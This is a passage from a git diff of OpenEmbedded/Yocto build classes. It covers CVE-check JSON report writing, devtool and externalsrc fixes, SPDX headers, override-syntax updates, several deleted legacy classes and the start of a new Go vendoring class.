+ import json
+
+ write_string = json.dumps(output, indent=2)
+ with open(direct_file, "w") as f:
+ bb.note("Writing file %s with CVE information" % direct_file)
+ f.write(write_string)
+
+ if d.getVar("CVE_CHECK_COPY_FILES") == "1":
+ bb.utils.mkdirhier(os.path.dirname(deploy_file))
+ with open(deploy_file, "w") as f:
+ f.write(write_string)
+
+ if d.getVar("CVE_CHECK_CREATE_MANIFEST") == "1":
+ cvelogpath = d.getVar("CVE_CHECK_SUMMARY_DIR")
+ index_path = d.getVar("CVE_CHECK_SUMMARY_INDEX_PATH")
+ bb.utils.mkdirhier(cvelogpath)
+ fragment_file = os.path.basename(deploy_file)
+ fragment_path = os.path.join(cvelogpath, fragment_file)
+ with open(fragment_path, "w") as f:
+ f.write(write_string)
+ with open(index_path, "a+") as f:
+ f.write("%s\n" % fragment_path)
+
+def cve_write_data_json(d, patched, unpatched, ignored, cve_data, cve_status):
+ """
+ Prepare CVE data for the JSON format, then write it.
+ """
+
+ from oe.cve_check import decode_cve_status
+
+ output = {"version":"1", "package": []}
+ nvd_link = "https://nvd.nist.gov/vuln/detail/"
+
+ fdir_name = d.getVar("FILE_DIRNAME")
+ layer = fdir_name.split("/")[-3]
+
+ include_layers = d.getVar("CVE_CHECK_LAYER_INCLUDELIST").split()
+ exclude_layers = d.getVar("CVE_CHECK_LAYER_EXCLUDELIST").split()
+
+ report_all = d.getVar("CVE_CHECK_REPORT_PATCHED") == "1"
+
+ if exclude_layers and layer in exclude_layers:
+ return
+
+ if include_layers and layer not in include_layers:
+ return
+
+ unpatched_cves = []
+
+ product_data = []
+ for s in cve_status:
+ p = {"product": s[0], "cvesInRecord": "Yes"}
+ if s[1] == False:
+ p["cvesInRecord"] = "No"
+ product_data.append(p)
+
+ package_version = "%s%s" % (d.getVar("EXTENDPE"), d.getVar("PV"))
+ package_data = {
+ "name" : d.getVar("PN"),
+ "layer" : layer,
+ "version" : package_version,
+ "products": product_data
+ }
+ cve_list = []
+
+ for cve in sorted(cve_data):
+ is_patched = cve in patched
+ is_ignored = cve in ignored
+ status = "Unpatched"
+ if (is_patched or is_ignored) and not report_all:
+ continue
+ if is_ignored:
+ status = "Ignored"
+ elif is_patched:
+ status = "Patched"
+ else:
+ # default value of status is Unpatched
+ unpatched_cves.append(cve)
+
+ issue_link = "%s%s" % (nvd_link, cve)
+
+ cve_item = {
+ "id" : cve,
+ "summary" : cve_data[cve]["summary"],
+ "scorev2" : cve_data[cve]["scorev2"],
+ "scorev3" : cve_data[cve]["scorev3"],
+ "vector" : cve_data[cve]["vector"],
+ "vectorString" : cve_data[cve]["vectorString"],
+ "status" : status,
+ "link": issue_link
+ }
+ _, detail, description = decode_cve_status(d, cve)
+ if detail:
+ cve_item["detail"] = detail
+ if description:
+ cve_item["description"] = description
+ cve_list.append(cve_item)
+
+ package_data["issue"] = cve_list
+ output["package"].append(package_data)
+
+ direct_file = d.getVar("CVE_CHECK_LOG_JSON")
+ deploy_file = d.getVar("CVE_CHECK_RECIPE_FILE_JSON")
+ manifest_file = d.getVar("CVE_CHECK_SUMMARY_FILE_NAME_JSON")
+
+ cve_check_write_json_output(d, output, direct_file, deploy_file, manifest_file)
+
+def cve_write_data(d, patched, unpatched, ignored, cve_data, status):
+ """
+ Write CVE data in each enabled format.
+ """
+
+ if d.getVar("CVE_CHECK_FORMAT_TEXT") == "1":
+ cve_write_data_text(d, patched, unpatched, ignored, cve_data)
+ if d.getVar("CVE_CHECK_FORMAT_JSON") == "1":
+ cve_write_data_json(d, patched, unpatched, ignored, cve_data, status)
diff --git a/meta/classes/devtool-source.bbclass b/meta/classes/devtool-source.bbclass
index 280d6009f3..4158c20c7e 100644
--- a/meta/classes/devtool-source.bbclass
+++ b/meta/classes/devtool-source.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# Development tool - source extraction helper class
#
# NOTE: this class is intended for use by devtool and should not be
@@ -199,6 +205,7 @@ python devtool_post_patch() {
# Run do_patch function with the override applied
localdata = bb.data.createCopy(d)
localdata.setVar('OVERRIDES', ':'.join(no_overrides))
+ localdata.setVar('FILESOVERRIDES', ':'.join(no_overrides))
bb.build.exec_func('do_patch', localdata)
rm_patches()
# Now we need to reconcile the dev branch with the no-overrides one
@@ -216,7 +223,8 @@ python devtool_post_patch() {
# Reset back to the initial commit on a new branch
bb.process.run('git checkout %s -b devtool-override-%s' % (initial_rev, override), cwd=srcsubdir)
# Run do_patch function with the override applied
- localdata.appendVar('OVERRIDES', ':%s' % override)
+ localdata.setVar('OVERRIDES', ':'.join(no_overrides + [override]))
+ localdata.setVar('FILESOVERRIDES', ':'.join(no_overrides + [override]))
bb.build.exec_func('do_patch', localdata)
rm_patches()
# Now we need to reconcile the new branch with the no-overrides one
@@ -224,6 +232,9 @@ python devtool_post_patch() {
bb.process.run('git rebase devtool-no-overrides', cwd=srcsubdir)
bb.process.run('git checkout %s' % devbranch, cwd=srcsubdir)
bb.process.run('git tag -f devtool-patched', cwd=srcsubdir)
+ if os.path.exists(os.path.join(srcsubdir, '.gitmodules')):
+ bb.process.run('git submodule foreach --recursive "git tag -f devtool-patched"', cwd=srcsubdir)
+
}
python devtool_post_configure() {
diff --git a/meta/classes/devupstream.bbclass b/meta/classes/devupstream.bbclass
deleted file mode 100644
index 7780c5482c..0000000000
--- a/meta/classes/devupstream.bbclass
+++ /dev/null
@@ -1,48 +0,0 @@
-# Class for use in BBCLASSEXTEND to make it easier to have a single recipe that
-# can build both stable tarballs and snapshots from upstream source
-# repositories.
-#
-# Usage:
-# BBCLASSEXTEND = "devupstream:target"
-# SRC_URI_class-devupstream = "git://git.example.com/example"
-# SRCREV_class-devupstream = "abcdef"
-#
-# If the first entry in SRC_URI is a git: URL then S is rewritten to
-# WORKDIR/git.
-#
-# There are a few caveats that remain to be solved:
-# - You can't build native or nativesdk recipes using for example
-# devupstream:native, you can only build target recipes.
-# - If the fetcher requires native tools (such as subversion-native) then
-# bitbake won't be able to add them automatically.
-
-CLASSOVERRIDE .= ":class-devupstream"
-
-python devupstream_virtclass_handler () {
- # Do nothing if this is inherited, as it's for BBCLASSEXTEND
- if "devupstream" not in (d.getVar('BBCLASSEXTEND') or ""):
- bb.error("Don't inherit devupstream, use BBCLASSEXTEND")
- return
-
- variant = d.getVar("BBEXTENDVARIANT")
- if variant not in ("target"):
- bb.error("Pass the variant when using devupstream, for example devupstream:target")
- return
-
- # Develpment releases are never preferred by default
- d.setVar("DEFAULT_PREFERENCE", "-1")
-
- uri = bb.fetch2.URI(d.getVar("SRC_URI").split()[0])
-
- if uri.scheme == "git":
- d.setVar("S", "${WORKDIR}/git")
-
- # Modify the PV if the recipe hasn't already overridden it
- pv = d.getVar("PV")
- proto_marker = "+" + uri.scheme
- if proto_marker not in pv:
- d.setVar("PV", pv + proto_marker + "${SRCPV}")
-}
-
-addhandler devupstream_virtclass_handler
-devupstream_virtclass_handler[eventmask] = "bb.event.RecipePreFinalise"
diff --git a/meta/classes/distro_features_check.bbclass b/meta/classes/distro_features_check.bbclass
deleted file mode 100644
index 8124a8ca27..0000000000
--- a/meta/classes/distro_features_check.bbclass
+++ /dev/null
@@ -1,7 +0,0 @@
-# Temporarily provide fallback to the old name of the class
-
-python __anonymous() {
- bb.warn("distro_features_check.bbclass is deprecated, please use features_check.bbclass instead")
-}
-
-inherit features_check
diff --git a/meta/classes/distrooverrides.bbclass b/meta/classes/distrooverrides.bbclass
index 9f4db0d771..8d9d7cda7d 100644
--- a/meta/classes/distrooverrides.bbclass
+++ b/meta/classes/distrooverrides.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# Turns certain DISTRO_FEATURES into overrides with the same
# name plus a df- prefix. Ensures that these special
# distro features remain set also for native and nativesdk
@@ -6,7 +12,7 @@
# This makes it simpler to write .bbappends that only change the
# task signatures of the recipe if the change is really enabled,
# for example with:
-# do_install_append_df-my-feature () { ... }
+# do_install:append:df-my-feature () { ... }
# where "my-feature" is a DISTRO_FEATURE.
#
# The class is meant to be used in a layer.conf or distro
@@ -22,8 +28,8 @@ DISTRO_FEATURES_OVERRIDES ?= ""
DISTRO_FEATURES_OVERRIDES[doc] = "A space-separated list of <feature> entries. \
Each entry is added to OVERRIDES as df-<feature> if <feature> is in DISTRO_FEATURES."
-DISTRO_FEATURES_FILTER_NATIVE_append = " ${DISTRO_FEATURES_OVERRIDES}"
-DISTRO_FEATURES_FILTER_NATIVESDK_append = " ${DISTRO_FEATURES_OVERRIDES}"
+DISTRO_FEATURES_FILTER_NATIVE:append = " ${DISTRO_FEATURES_OVERRIDES}"
+DISTRO_FEATURES_FILTER_NATIVESDK:append = " ${DISTRO_FEATURES_OVERRIDES}"
# If DISTRO_FEATURES_OVERRIDES or DISTRO_FEATURES show up in a task
# signature because of this line, then the task dependency on
diff --git a/meta/classes/distutils-common-base.bbclass b/meta/classes/distutils-common-base.bbclass
deleted file mode 100644
index 94b5fd426d..0000000000
--- a/meta/classes/distutils-common-base.bbclass
+++ /dev/null
@@ -1,25 +0,0 @@
-export STAGING_INCDIR
-export STAGING_LIBDIR
-
-# LDSHARED is the ld *command* used to create shared library
-export LDSHARED = "${CCLD} -shared"
-# LDXXSHARED is the ld *command* used to create shared library of C++
-# objects
-export LDCXXSHARED = "${CXX} -shared"
-# CCSHARED are the C *flags* used to create objects to go into a shared
-# library (module)
-export CCSHARED = "-fPIC -DPIC"
-# LINKFORSHARED are the flags passed to the $(CC) command that links
-# the python executable
-export LINKFORSHARED = "{SECURITY_CFLAGS} -Xlinker -export-dynamic"
-
-FILES_${PN} += "${libdir}/* ${libdir}/${PYTHON_DIR}/*"
-
-FILES_${PN}-staticdev += "\
- ${PYTHON_SITEPACKAGES_DIR}/*.a \
-"
-FILES_${PN}-dev += "\
- ${datadir}/pkgconfig \
- ${libdir}/pkgconfig \
- ${PYTHON_SITEPACKAGES_DIR}/*.la \
-"
diff --git a/meta/classes/distutils3-base.bbclass b/meta/classes/distutils3-base.bbclass
deleted file mode 100644
index 7dbf07ac4b..0000000000
--- a/meta/classes/distutils3-base.bbclass
+++ /dev/null
@@ -1,5 +0,0 @@
-DEPENDS += "${@["${PYTHON_PN}-native ${PYTHON_PN}", ""][(d.getVar('PACKAGES') == '')]}"
-RDEPENDS_${PN} += "${@['', '${PYTHON_PN}-core']['${CLASSOVERRIDE}' == 'class-target']}"
-
-inherit distutils-common-base python3native
-
diff --git a/meta/classes/distutils3.bbclass b/meta/classes/distutils3.bbclass
deleted file mode 100644
index 7356b5245a..0000000000
--- a/meta/classes/distutils3.bbclass
+++ /dev/null
@@ -1,65 +0,0 @@
-inherit distutils3-base
-
-B = "${WORKDIR}/build"
-distutils_do_configure[cleandirs] = "${B}"
-
-DISTUTILS_BUILD_ARGS ?= ""
-DISTUTILS_INSTALL_ARGS ?= "--root=${D} \
- --prefix=${prefix} \
- --install-lib=${PYTHON_SITEPACKAGES_DIR} \
- --install-data=${datadir}"
-
-DISTUTILS_PYTHON = "python3"
-DISTUTILS_PYTHON_class-native = "nativepython3"
-
-distutils3_do_configure() {
- :
-}
-
-distutils3_do_compile() {
- cd ${S}
- NO_FETCH_BUILD=1 \
- STAGING_INCDIR=${STAGING_INCDIR} \
- STAGING_LIBDIR=${STAGING_LIBDIR} \
- ${STAGING_BINDIR_NATIVE}/${PYTHON_PN}-native/${PYTHON_PN} ${S}/setup.py \
- build --build-base=${B} ${DISTUTILS_BUILD_ARGS} || \
- bbfatal_log "'${PYTHON_PN} setup.py build ${DISTUTILS_BUILD_ARGS}' execution failed."
-}
-distutils3_do_compile[vardepsexclude] = "MACHINE"
-
-distutils3_do_install() {
- cd ${S}
- install -d ${D}${PYTHON_SITEPACKAGES_DIR}
- STAGING_INCDIR=${STAGING_INCDIR} \
- STAGING_LIBDIR=${STAGING_LIBDIR} \
- PYTHONPATH=${D}${PYTHON_SITEPACKAGES_DIR} \
- ${STAGING_BINDIR_NATIVE}/${PYTHON_PN}-native/${PYTHON_PN} ${S}/setup.py \
- build --build-base=${B} install --skip-build ${DISTUTILS_INSTALL_ARGS} || \
- bbfatal_log "'${PYTHON_PN} setup.py install ${DISTUTILS_INSTALL_ARGS}' execution failed."
-
- # support filenames with *spaces*
- find ${D} -name "*.py" -exec grep -q ${D} {} \; \
- -exec sed -i -e s:${D}::g {} \;
-
- for i in ${D}${bindir}/* ${D}${sbindir}/*; do
- if [ -f "$i" ]; then
- sed -i -e s:${PYTHON}:${USRBINPATH}/env\ ${DISTUTILS_PYTHON}:g $i
- sed -i -e s:${STAGING_BINDIR_NATIVE}:${bindir}:g $i
- fi
- done
-
- rm -f ${D}${PYTHON_SITEPACKAGES_DIR}/easy-install.pth
-
- #
- # FIXME: Bandaid against wrong datadir computation
- #
- if [ -e ${D}${datadir}/share ]; then
- mv -f ${D}${datadir}/share/* ${D}${datadir}/
- rmdir ${D}${datadir}/share
- fi
-}
-distutils3_do_install[vardepsexclude] = "MACHINE"
-
-EXPORT_FUNCTIONS do_configure do_compile do_install
-
-export LDSHARED="${CCLD} -shared"
diff --git a/meta/classes/externalsrc.bbclass b/meta/classes/externalsrc.bbclass
index d200129987..70e27a8d35 100644
--- a/meta/classes/externalsrc.bbclass
+++ b/meta/classes/externalsrc.bbclass
@@ -2,7 +2,8 @@
# Author: Richard Purdie
# Some code and influence taken from srctree.bbclass:
# Copyright (C) 2009 Chris Larson <clarson@kergoth.com>
-# Released under the MIT license (see COPYING.MIT for the terms)
+#
+# SPDX-License-Identifier: MIT
#
# externalsrc.bbclass enables use of an existing source tree, usually external to
# the build system to build a piece of software rather than the usual fetch/unpack/patch
@@ -13,7 +14,7 @@
# called "myrecipe" you would do:
#
# INHERIT += "externalsrc"
-# EXTERNALSRC_pn-myrecipe = "/path/to/my/source/tree"
+# EXTERNALSRC:pn-myrecipe = "/path/to/my/source/tree"
#
# In order to make this class work for both target and native versions (or with
# multilibs/cross or other BBCLASSEXTEND variants), B is set to point to a separate
@@ -21,7 +22,7 @@
# the default, but the build directory can be set to the source directory if
# circumstances dictate by setting EXTERNALSRC_BUILD to the same value, e.g.:
#
-# EXTERNALSRC_BUILD_pn-myrecipe = "/path/to/my/source/tree"
+# EXTERNALSRC_BUILD:pn-myrecipe = "/path/to/my/source/tree"
#
SRCTREECOVEREDTASKS ?= "do_patch do_unpack do_fetch"
@@ -45,11 +46,11 @@ python () {
if bpn == d.getVar('PN') or not classextend:
if (externalsrc or
('native' in classextend and
- d.getVar('EXTERNALSRC_pn-%s-native' % bpn)) or
+ d.getVar('EXTERNALSRC:pn-%s-native' % bpn)) or
('nativesdk' in classextend and
- d.getVar('EXTERNALSRC_pn-nativesdk-%s' % bpn)) or
+ d.getVar('EXTERNALSRC:pn-nativesdk-%s' % bpn)) or
('cross' in classextend and
- d.getVar('EXTERNALSRC_pn-%s-cross' % bpn))):
+ d.getVar('EXTERNALSRC:pn-%s-cross' % bpn))):
d.setVar('BB_DONT_CACHE', '1')
if externalsrc:
@@ -60,21 +61,21 @@ python () {
if externalsrcbuild:
d.setVar('B', externalsrcbuild)
else:
- d.setVar('B', '${WORKDIR}/${BPN}-${PV}/')
+ d.setVar('B', '${WORKDIR}/${BPN}-${PV}')
+ bb.fetch.get_hashvalue(d)
local_srcuri = []
fetch = bb.fetch2.Fetch((d.getVar('SRC_URI') or '').split(), d)
for url in fetch.urls:
url_data = fetch.ud[url]
parm = url_data.parm
- if (url_data.type == 'file' or
- 'type' in parm and parm['type'] == 'kmeta'):
+ if url_data.type in ['file', 'npmsw', 'crate'] or parm.get('type') in ['kmeta', 'git-dependency']:
local_srcuri.append(url)
d.setVar('SRC_URI', ' '.join(local_srcuri))
- # Dummy value because the default function can't be called with blank SRC_URI
- d.setVar('SRCPV', '999')
+ # sstate is never going to work for external source trees, disable it
+ d.setVar('SSTATE_SKIP_CREATION', '1')
if d.getVar('CONFIGUREOPT_DEPTRACK') == '--disable-dependency-tracking':
d.setVar('CONFIGUREOPT_DEPTRACK', '')
@@ -82,32 +83,42 @@ python () {
tasks = filter(lambda k: d.getVarFlag(k, "task"), d.keys())
for task in tasks:
- if task.endswith("_setscene"):
- # sstate is never going to work for external source trees, disable it
- bb.build.deltask(task, d)
- else:
+ if os.path.realpath(d.getVar('S')) == os.path.realpath(d.getVar('B')):
# Since configure will likely touch ${S}, ensure only we lock so one task has access at a time
d.appendVarFlag(task, "lockfiles", " ${S}/singletask.lock")
- # We do not want our source to be wiped out, ever (kernel.bbclass does this for do_clean)
- cleandirs = oe.recipeutils.split_var_value(d.getVarFlag(task, 'cleandirs', False) or '')
- setvalue = False
- for cleandir in cleandirs[:]:
- if oe.path.is_path_parent(externalsrc, d.expand(cleandir)):
- cleandirs.remove(cleandir)
- setvalue = True
- if setvalue:
- d.setVarFlag(task, 'cleandirs', ' '.join(cleandirs))
+ for v in d.keys():
+ cleandirs = d.getVarFlag(v, "cleandirs", False)
+ if cleandirs:
+ # We do not want our source to be wiped out, ever (kernel.bbclass does this for do_clean)
+ cleandirs = oe.recipeutils.split_var_value(cleandirs)
+ setvalue = False
+ for cleandir in cleandirs[:]:
+ if oe.path.is_path_parent(externalsrc, d.expand(cleandir)):
+ cleandirs.remove(cleandir)
+ setvalue = True
+ if setvalue:
+ d.setVarFlag(v, 'cleandirs', ' '.join(cleandirs))
fetch_tasks = ['do_fetch', 'do_unpack']
# If we deltask do_patch, there's no dependency to ensure do_unpack gets run, so add one
# Note that we cannot use d.appendVarFlag() here because deps is expected to be a list object, not a string
d.setVarFlag('do_configure', 'deps', (d.getVarFlag('do_configure', 'deps', False) or []) + ['do_unpack'])
+ d.setVarFlag('do_populate_lic', 'deps', (d.getVarFlag('do_populate_lic', 'deps', False) or []) + ['do_unpack'])
for task in d.getVar("SRCTREECOVEREDTASKS").split():
if local_srcuri and task in fetch_tasks:
continue
bb.build.deltask(task, d)
+ if task == 'do_unpack':
+ # The reproducible build create_source_date_epoch_stamp function must
+ # be run after the source is available and before the
+ # do_deploy_source_date_epoch task. In the normal case, it's attached
+ # to do_unpack as a postfuncs, but since we removed do_unpack (above)
+ # we need to move the function elsewhere. The easiest thing to do is
+ # move it into the prefuncs of the do_deploy_source_date_epoch task.
+ # This is safe, as externalsrc runs with the source already unpacked.
+ d.prependVarFlag('do_deploy_source_date_epoch', 'prefuncs', 'create_source_date_epoch_stamp ')
d.prependVarFlag('do_compile', 'prefuncs', "externalsrc_compile_prefunc ")
d.prependVarFlag('do_configure', 'prefuncs', "externalsrc_configure_prefunc ")
@@ -115,6 +126,9 @@ python () {
d.setVarFlag('do_compile', 'file-checksums', '${@srctree_hash_files(d)}')
d.setVarFlag('do_configure', 'file-checksums', '${@srctree_configure_hash_files(d)}')
+ d.appendVarFlag('do_compile', 'prefuncs', ' fetcher_hashes_dummyfunc')
+ d.appendVarFlag('do_configure', 'prefuncs', ' fetcher_hashes_dummyfunc')
+
# We don't want the workdir to go away
d.appendVar('RM_WORK_EXCLUDE', ' ' + d.getVar('PN'))
@@ -190,6 +204,7 @@ def srctree_hash_files(d, srcdir=None):
import shutil
import subprocess
import tempfile
+ import hashlib
s_dir = srcdir or d.getVar('EXTERNALSRC')
git_dir = None
@@ -197,6 +212,10 @@ def srctree_hash_files(d, srcdir=None):
try:
git_dir = os.path.join(s_dir,
subprocess.check_output(['git', '-C', s_dir, 'rev-parse', '--git-dir'], stderr=subprocess.DEVNULL).decode("utf-8").rstrip())
+ top_git_dir = os.path.join(d.getVar("TOPDIR"),
+ subprocess.check_output(['git', '-C', d.getVar("TOPDIR"), 'rev-parse', '--git-dir'], stderr=subprocess.DEVNULL).decode("utf-8").rstrip())
+ if git_dir == top_git_dir:
+ git_dir = None
except subprocess.CalledProcessError:
pass
@@ -210,7 +229,18 @@ def srctree_hash_files(d, srcdir=None):
env = os.environ.copy()
env['GIT_INDEX_FILE'] = tmp_index.name
subprocess.check_output(['git', 'add', '-A', '.'], cwd=s_dir, env=env)
- sha1 = subprocess.check_output(['git', 'write-tree'], cwd=s_dir, env=env).decode("utf-8")
+ git_sha1 = subprocess.check_output(['git', 'write-tree'], cwd=s_dir, env=env).decode("utf-8")
+ if os.path.exists(os.path.join(s_dir, ".gitmodules")) and os.path.getsize(os.path.join(s_dir, ".gitmodules")) > 0:
+ submodule_helper = subprocess.check_output(["git", "config", "--file", ".gitmodules", "--get-regexp", "path"], cwd=s_dir, env=env).decode("utf-8")
+ for line in submodule_helper.splitlines():
+ module_dir = os.path.join(s_dir, line.rsplit(maxsplit=1)[1])
+ if os.path.isdir(module_dir):
+ proc = subprocess.Popen(['git', 'add', '-A', '.'], cwd=module_dir, env=env, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+ proc.communicate()
+ proc = subprocess.Popen(['git', 'write-tree'], cwd=module_dir, env=env, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL)
+ stdout, _ = proc.communicate()
+ git_sha1 += stdout.decode("utf-8")
+ sha1 = hashlib.sha1(git_sha1.encode("utf-8")).hexdigest()
with open(oe_hash_file, 'w') as fobj:
fobj.write(sha1)
ret = oe_hash_file + ':True'
@@ -223,6 +253,8 @@ def srctree_configure_hash_files(d):
Get the list of files that should trigger do_configure to re-execute,
based on the value of CONFIGURE_FILES
"""
+ import fnmatch
+
in_files = (d.getVar('CONFIGURE_FILES') or '').split()
out_items = []
search_files = []
@@ -234,8 +266,8 @@ def srctree_configure_hash_files(d):
if search_files:
s_dir = d.getVar('EXTERNALSRC')
for root, _, files in os.walk(s_dir):
- for f in files:
- if f in search_files:
+ for p in search_files:
+ for f in fnmatch.filter(files, p):
out_items.append('%s:True' % os.path.join(root, f))
return ' '.join(out_items)
diff --git a/meta/classes/extrausers.bbclass b/meta/classes/extrausers.bbclass
index 32569e97db..c825c06df9 100644
--- a/meta/classes/extrausers.bbclass
+++ b/meta/classes/extrausers.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# This bbclass is used for image level user/group configuration.
# Inherit this class if you want to make EXTRA_USERS_PARAMS effective.
@@ -14,10 +20,10 @@
inherit useradd_base
-PACKAGE_INSTALL_append = " ${@['', 'base-passwd shadow'][bool(d.getVar('EXTRA_USERS_PARAMS'))]}"
+PACKAGE_INSTALL:append = " ${@['', 'base-passwd shadow'][bool(d.getVar('EXTRA_USERS_PARAMS'))]}"
# Image level user / group settings
-ROOTFS_POSTPROCESS_COMMAND_append = " set_user_group;"
+ROOTFS_POSTPROCESS_COMMAND:append = " set_user_group"
# Image level user / group settings
set_user_group () {
@@ -46,6 +52,9 @@ set_user_group () {
usermod)
perform_usermod "${IMAGE_ROOTFS}" "-R ${IMAGE_ROOTFS} $opts"
;;
+ passwd-expire)
+ perform_passwd_expire "${IMAGE_ROOTFS}" "$opts"
+ ;;
groupmod)
perform_groupmod "${IMAGE_ROOTFS}" "-R ${IMAGE_ROOTFS} $opts"
;;
diff --git a/meta/classes/gettext.bbclass b/meta/classes/gettext.bbclass
deleted file mode 100644
index be2ef3b311..0000000000
--- a/meta/classes/gettext.bbclass
+++ /dev/null
@@ -1,22 +0,0 @@
-def gettext_dependencies(d):
- if d.getVar('INHIBIT_DEFAULT_DEPS') and not oe.utils.inherits(d, 'cross-canadian'):
- return ""
- if d.getVar('USE_NLS') == 'no':
- return "gettext-minimal-native"
- return "gettext-native"
-
-def gettext_oeconf(d):
- if d.getVar('USE_NLS') == 'no':
- return '--disable-nls'
- # Remove the NLS bits if USE_NLS is no or INHIBIT_DEFAULT_DEPS is set
- if d.getVar('INHIBIT_DEFAULT_DEPS') and not oe.utils.inherits(d, 'cross-canadian'):
- return '--disable-nls'
- return "--enable-nls"
-
-BASEDEPENDS_append = " ${@gettext_dependencies(d)}"
-EXTRA_OECONF_append = " ${@gettext_oeconf(d)}"
-
-# Without this, msgfmt from gettext-native will not find ITS files
-# provided by target recipes (for example, polkit.its).
-GETTEXTDATADIRS_append_class-target = ":${STAGING_DATADIR}/gettext"
-export GETTEXTDATADIRS
diff --git a/meta/classes/gio-module-cache.bbclass b/meta/classes/gio-module-cache.bbclass
deleted file mode 100644
index e429bd3197..0000000000
--- a/meta/classes/gio-module-cache.bbclass
+++ /dev/null
@@ -1,38 +0,0 @@
-PACKAGE_WRITE_DEPS += "qemu-native"
-inherit qemu
-
-GIO_MODULE_PACKAGES ??= "${PN}"
-
-gio_module_cache_common() {
-if [ "x$D" != "x" ]; then
- $INTERCEPT_DIR/postinst_intercept update_gio_module_cache ${PKG} \
- mlprefix=${MLPREFIX} \
- binprefix=${MLPREFIX} \
- libdir=${libdir} \
- libexecdir=${libexecdir} \
- base_libdir=${base_libdir} \
- bindir=${bindir}
-else
- ${libexecdir}/${MLPREFIX}gio-querymodules ${libdir}/gio/modules/
-fi
-}
-
-python populate_packages_append () {
- packages = d.getVar('GIO_MODULE_PACKAGES').split()
-
- for pkg in packages:
- bb.note("adding gio-module-cache postinst and postrm scripts to %s" % pkg)
-
- postinst = d.getVar('pkg_postinst_%s' % pkg)
- if not postinst:
- postinst = '#!/bin/sh\n'
- postinst += d.getVar('gio_module_cache_common')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
-
- postrm = d.getVar('pkg_postrm_%s' % pkg)
- if not postrm:
- postrm = '#!/bin/sh\n'
- postrm += d.getVar('gio_module_cache_common')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
-}
-
diff --git a/meta/classes/glide.bbclass b/meta/classes/glide.bbclass
deleted file mode 100644
index db421745bd..0000000000
--- a/meta/classes/glide.bbclass
+++ /dev/null
@@ -1,9 +0,0 @@
-# Handle Glide Vendor Package Management use
-#
-# Copyright 2018 (C) O.S. Systems Software LTDA.
-
-DEPENDS_append = " glide-native"
-
-do_compile_prepend() {
- ( cd ${B}/src/${GO_IMPORT} && glide install )
-}
diff --git a/meta/classes/gnomebase.bbclass b/meta/classes/gnomebase.bbclass
deleted file mode 100644
index efcb6caae1..0000000000
--- a/meta/classes/gnomebase.bbclass
+++ /dev/null
@@ -1,30 +0,0 @@
-def gnome_verdir(v):
- return oe.utils.trim_version(v, 2)
-
-GNOME_COMPRESS_TYPE ?= "xz"
-SECTION ?= "x11/gnome"
-GNOMEBN ?= "${BPN}"
-SRC_URI = "${GNOME_MIRROR}/${GNOMEBN}/${@gnome_verdir("${PV}")}/${GNOMEBN}-${PV}.tar.${GNOME_COMPRESS_TYPE};name=archive"
-
-FILES_${PN} += "${datadir}/application-registry \
- ${datadir}/mime-info \
- ${datadir}/mime/packages \
- ${datadir}/mime/application \
- ${datadir}/gnome-2.0 \
- ${datadir}/polkit* \
- ${datadir}/GConf \
- ${datadir}/glib-2.0/schemas \
- ${datadir}/appdata \
- ${datadir}/icons \
-"
-
-FILES_${PN}-doc += "${datadir}/devhelp"
-
-GNOMEBASEBUILDCLASS ??= "autotools"
-inherit ${GNOMEBASEBUILDCLASS} pkgconfig
-
-do_install_append() {
- rm -rf ${D}${localstatedir}/lib/scrollkeeper/*
- rm -rf ${D}${localstatedir}/scrollkeeper/*
- rm -f ${D}${datadir}/applications/*.cache
-}
diff --git a/meta/classes/go-mod.bbclass b/meta/classes/go-mod.bbclass
deleted file mode 100644
index 5871d02506..0000000000
--- a/meta/classes/go-mod.bbclass
+++ /dev/null
@@ -1,20 +0,0 @@
-# Handle Go Modules support
-#
-# When using Go Modules, the the current working directory MUST be at or below
-# the location of the 'go.mod' file when the go tool is used, and there is no
-# way to tell it to look elsewhere. It will automatically look upwards for the
-# file, but not downwards.
-#
-# To support this use case, we provide the `GO_WORKDIR` variable, which defaults
-# to `GO_IMPORT` but allows for easy override.
-#
-# Copyright 2020 (C) O.S. Systems Software LTDA.
-
-# The '-modcacherw' option ensures we have write access to the cached objects so
-# we avoid errors during clean task as well as when removing the TMPDIR.
-export GOBUILDFLAGS ?= "-v ${GO_LDFLAGS} -modcacherw"
-
-inherit go
-
-GO_WORKDIR ?= "${GO_IMPORT}"
-do_compile[dirs] += "${B}/src/${GO_WORKDIR}"
diff --git a/meta/classes/go-vendor.bbclass b/meta/classes/go-vendor.bbclass
new file mode 100644
index 0000000000..1bbb99ac79
--- /dev/null
+++ b/meta/classes/go-vendor.bbclass
@@ -0,0 +1,211 @@
+#
+# Copyright 2023 (C) Weidmueller GmbH & Co KG
+# Author: Lukas Funke <lukas.funke@weidmueller.com>
+#
+# Handle Go vendor support for offline builds
+#
+# When importing Go modules, Go downloads the imported modules using
+# a network (proxy) connection ahead of the compile stage. This contradicts
+# the yocto build concept of fetching every source ahead of build-time
+# and supporting offline builds.
+#
+# To support offline builds, we use Go 'vendoring': module dependencies are
+# downloaded during the fetch-phase and unpacked into the modules 'vendor'
+# folder. Additionally a manifest file is generated for the 'vendor' folder
+#
+
+inherit go-mod
+
+def go_src_uri(repo, version, path=None, subdir=None, \
+ vcs='git', replaces=None, pathmajor=None):
+
+ destsuffix = "git/src/import/vendor.fetch"
+ module_path = repo if not path else path
+
+ src_uri = "{}://{};name={}".format(vcs, repo, module_path.replace('/', '.'))
+ src_uri += ";destsuffix={}/{}@{}".format(destsuffix, repo, version)
+
+ if vcs == "git":
+ src_uri += ";nobranch=1;protocol=https"
+
+ src_uri += ";go_module_path={}".format(module_path)
+
+ if replaces:
+ src_uri += ";go_module_replacement={}".format(replaces)
+ if subdir:
+ src_uri += ";go_subdir={}".format(subdir)
+ if pathmajor:
+ src_uri += ";go_pathmajor={}".format(pathmajor)
+ src_uri += ";is_go_dependency=1"
+
+ return src_uri
+
+python do_vendor_unlink() {
+ go_import = d.getVar('GO_IMPORT')
+ source_dir = d.getVar('S')
